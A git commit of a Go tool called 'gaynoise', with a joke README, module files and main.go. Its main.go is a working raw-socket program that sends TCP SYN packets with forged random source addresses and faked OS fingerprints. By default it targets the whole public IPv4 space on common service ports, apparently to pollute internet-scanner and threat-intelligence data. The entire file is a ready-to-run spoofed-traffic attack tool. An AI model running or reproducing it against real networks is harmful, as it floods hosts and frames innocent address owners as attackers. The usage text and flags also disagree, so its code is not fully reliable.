This commit is contained in:
delorean 2023-11-27 22:36:42 -06:00
commit 7245f81c4c
4 changed files with 354 additions and 0 deletions

18
README.md Normal file
View File

@ -0,0 +1,18 @@
```
got some intelligence for u
right here
_ _
|_| |_|
| | /^^^\ | |
_| |_ (| "o" |) _| |_
_| | | | _ (_---_) _ | | | |_
| | | | |' | _| |_ | '| | | | |
| | / \ | |
\ / / /(. .)\ \ \ /
\ / / / | . | \ \ \ /
\ \/ / ||Y|| \ \/ /
\__/ || || \__/
() ()
|| ||
ooO Ooo
```

5
go.mod Normal file
View File

@ -0,0 +1,5 @@
module gaynoise
go 1.21.0
require github.com/google/gopacket v1.1.19 // indirect

14
go.sum Normal file
View File

@ -0,0 +1,14 @@
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

317
main.go Normal file
View File

@ -0,0 +1,317 @@
package main
import (
"encoding/binary"
"flag"
"fmt"
"math/rand"
"net"
"os"
"os/signal"
"syscall"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
)
var (
// flags
cidr = flag.String("r", "", "cidr to target")
duration = flag.Int("t", -1, "duration (seconds)")
workers = flag.Int("c", 10, "threads")
delay = flag.Int("u", 0, "usec delay between sends")
// colors
colorReset = "\033[0m"
colorRed = "\033[31m"
colorPurple = "\033[35m"
colorCyan = "\033[36m"
skull = "\u2620"
// target ports
ports = []int{21, 22, 23, 80, 123, 389, 443}
)
func winsize(system int) uint16 {
switch system {
case 1:
return 29200 // Linux
case 2:
return 5840 // Linux
case 3:
return 5720 // Linux
case 4:
return 10220 // Linux
case 5:
return 14600 // Linux
case 6:
return 8192 // Windows
case 7:
return 65535 // Windows
case 8:
return 65535 // MacOS, FreeBSD
case 9:
return 16384 // OpenBSD
case 10:
return 4128 // Cisco IOS
case 11:
return 32850 // Solaris
case 12:
return 49640 // Solaris
default:
return 8192
}
}
func ittl(system int) uint8 {
switch system {
case 6:
return 128 // Windows
case 7:
return 128 // Windows
case 10:
return 255 // Cisco IOS
default:
return 64 // Linux, MacOS, FreeBSD, OpenBSD, Solaris
}
}
func assemble(daddr, saddr string, dport, sport, system int) ([]byte, error) {
ip := &layers.IPv4{
SrcIP: net.ParseIP(saddr).To4(),
DstIP: net.ParseIP(daddr).To4(),
Version: 4,
TTL: ittl(system),
Protocol: layers.IPProtocolTCP,
}
tcp := &layers.TCP{
SrcPort: layers.TCPPort(sport),
DstPort: layers.TCPPort(dport),
Window: winsize(system),
Seq: rand.Uint32(),
SYN: true,
}
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
payload := []byte{}
pl := gopacket.Payload(payload)
buf := gopacket.NewSerializeBuffer()
if err := tcp.SetNetworkLayerForChecksum(ip); err != nil {
return nil, err
}
if err := gopacket.SerializeLayers(buf, opts, ip, tcp, pl); err != nil {
return nil, err
}
packet := buf.Bytes()
return packet, nil
}
func rfc1918(ip net.IP) bool {
_, net0, _ := net.ParseCIDR("0.0.0.0/8")
_, net10, _ := net.ParseCIDR("10.0.0.0/8")
_, net192, _ := net.ParseCIDR("192.168.0.0/16")
_, net172, _ := net.ParseCIDR("172.16.0.0/12")
if net0.Contains(ip) || net10.Contains(ip) || net192.Contains(ip) || net172.Contains(ip) {
return true
}
return false
}
func sendpacket(fd int, packet []byte, addr string) error {
ip := net.ParseIP(addr)
dest := format4(ip)
if err := syscall.Sendto(fd, packet, 0, &dest); err != nil {
return err
}
return nil
}
func rawsocket() (int, error) {
handler, err := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_RAW)
if err != nil {
return -1, err
}
return handler, nil
}
func format4(ip net.IP) (addr syscall.SockaddrInet4) {
addr = syscall.SockaddrInet4{Port: 0}
copy(addr.Addr[:], ip.To4()[0:4])
return addr
}
func runCIDR(cidr string, out chan string) error {
ip, ipnet, err := net.ParseCIDR(cidr)
if err != nil {
return err
}
for target := ip.Mask(ipnet.Mask); ipnet.Contains(target); inc(target) {
if rfc1918(target) {
continue
}
addr, _ := net.ResolveIPAddr("ip", target.String())
out <- addr.String()
}
return nil
}
func inc(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
func randIP() string {
for {
buf := make([]byte, 4)
ip := rand.Uint32()
binary.LittleEndian.PutUint32(buf, ip)
nip := net.IP(buf)
if !rfc1918(nip) {
return nip.String()
}
}
}
func thread(addrs chan string) {
sock, err := rawsocket()
if err != nil {
fatal(err)
}
defer syscall.Close(sock)
for addr := range addrs {
rip := randIP()
dport := ports[rand.Intn(len(ports))]
sport := 1024 + rand.Intn(64511)
syst := 1 + rand.Intn(11)
pkt, _ := assemble(addr, rip, dport, sport, syst)
fmt.Printf("[%s%s%s] %s%s:%d%s -> %s%s%s:%s%d%s\n", colorRed, sysident(syst), colorReset, colorCyan, rip, sport, colorReset, colorPurple, addr, colorReset, colorCyan, dport, colorReset)
sendpacket(sock, pkt, addr)
time.Sleep(time.Microsecond * time.Duration(*delay))
}
}
func sysident(id int) string {
if id >= 1 && id <= 5 {
return "Linux"
} else if id >= 6 && id <= 7 {
return "Windows"
} else if id == 8 {
return "MacOS/FreeBSD"
} else if id == 9 {
return "OpenBSD"
} else if id == 10 {
return "Cisco IOS"
} else if id >= 11 && id <= 12 {
return "Solaris"
} else {
return "Windows"
}
}
func banner() {
fmt.Printf(`
%sgot some intelligence for u
right here%s%s
_ _
|_| |_|
| | /^^^\ | |
_| |_ (| "o" |) _| |_
_| | | | _ (_---_) _ | | | |_
| | | | |' | _| |_ | '| | | | |
| | / \ | |
\ / / /(. .)\ \ \ /
\ / / / | . | \ \ \ /
\ \/ / ||Y|| \ \/ /
\__/ || || \__/
() ()
|| ||
ooO Ooo
%s%sg a y n o i s e%s
sincerely,
~ delorean
`, colorRed, colorReset, colorCyan, colorReset, colorPurple, colorReset)
}
func usage() {
fmt.Fprintf(os.Stderr, `gaynoise:
(%s-r%s) - cidr range [%s0.0.0.0/0%s]
(%s-c%s) - concurrent threads [%s100%s]
(%s-t%s) - duration [%s-1%s]
(%s-p%s) - usec delay between sends [%s0%s]
`, colorCyan, colorReset, colorPurple, colorReset, colorCyan, colorReset, colorPurple, colorReset, colorCyan, colorReset, colorPurple, colorReset, colorCyan, colorReset, colorPurple, colorReset)
}
func fatal(e error) {
fmt.Printf("%s %s error:%s %s\n", colorRed, skull, colorReset, e)
os.Exit(-1)
}
func alarm(secs int) {
time.Sleep(time.Second * time.Duration(secs))
os.Exit(0)
}
func main() {
flag.Usage = usage
flag.Parse()
var target string
if *cidr == "" {
target = "0.0.0.0/0"
} else {
target = *cidr
}
// signals
sigs := make(chan os.Signal, 1)
signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)
go func() {
<-sigs
fmt.Printf("\n%s%s Stopped%s\n", colorRed, skull, colorReset)
os.Exit(1)
}()
// threads
addrs := make(chan string)
go func() {
for x := 0; x < *workers; x++ {
thread(addrs)
}
}()
// start alarm
if *duration > 0 {
go alarm(*duration)
}
banner()
for {
if e := runCIDR(target, addrs); e != nil {
fatal(e)
}
}
}